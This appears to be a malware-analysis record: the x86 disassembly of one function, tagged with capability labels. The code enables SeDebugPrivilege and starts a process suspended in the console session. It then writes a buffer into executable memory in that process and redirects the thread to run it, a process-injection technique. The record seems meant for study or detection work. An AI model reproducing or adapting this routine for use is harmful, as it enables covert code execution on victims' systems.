Function at 0x10005230
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create process on windows
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
push ebx
xorps xmm0, xmm0
mov dword [ebp - 0xc], ecx
push esi
push edi
mov edi, edx
movlpd qword [ebp - 0x74], xmm0
xor ebx, ebx
movlpd qword [ebp - 0x6c], xmm0
mov dword [ebp - 0x7c], ebx
movlpd qword [ebp - 0x64], xmm0
mov dword [edi], 0
movlpd qword [ebp - 0x5c], xmm0
movlpd qword [ebp - 0x54], xmm0
movlpd qword [ebp - 0x4c], xmm0
movlpd qword [ebp - 0x44], xmm0
mov dword [ebp - 0x80], 0x44
mov dword [ebp - 0x78], str.winsta0default
movups xmmword [ebp - 0x20], xmm0
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 4]
mov dword [ebp - 8], ebx
push ecx
push 0x201eb
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100052c4
lea eax, [ebp - 8]
push eax
push 1
push 1
push ebx
push 0x2000000
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov eax, dword [ebp - 4]
test eax, eax
je 0x100052d2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 8]
test esi, esi
je 0x1000540f
lea eax, [ebp - 0x28]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x10005408
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x24]
push 4
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x10]
push eax
push 0xc
push esi
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x2c], 2
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
jne 0x10005339
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0x10
lea eax, [ebp - 0x38]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10005323
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 0x34
push 0
push 0
push 0
push dword [ebp - 0xc]
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x10005408
mov eax, dword [ebp - 0x20]
push 0x2c8
mov dword [edi], eax
lea eax, [ebp - 0x34c]
push 0
push eax
call fcn.1000f750
add esp, 0xc
mov dword [ebp - 0x350], 0x1003f
lea eax, [ebp - 0x350]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10005408
push 0x40
push 0x1000
push dword [ebp + 0xc]
push 0
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x10005408
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10005408
lea eax, [ebp - 0x350]
mov dword [ebp - 0x298], edi
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret